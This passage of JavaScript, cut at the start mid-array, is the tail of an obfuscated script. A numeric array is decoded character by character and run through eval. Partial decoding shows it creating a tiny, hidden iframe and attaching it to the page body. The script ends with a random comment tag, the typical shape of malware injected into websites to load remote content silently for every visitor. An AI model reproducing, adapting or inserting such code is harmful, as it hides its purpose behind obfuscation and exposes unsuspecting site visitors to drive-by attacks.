234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
v = "eva";
}
if (v) e = window[v + "l"];
w = f;
s = [];
r = String;
z = ((e) ? "Code" : "");
for (; 1776 - 5 + 5 > i; i += 1) {
j = i;
if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
}
if (f) e(s);
} /*qhk6sa6g1c*/ |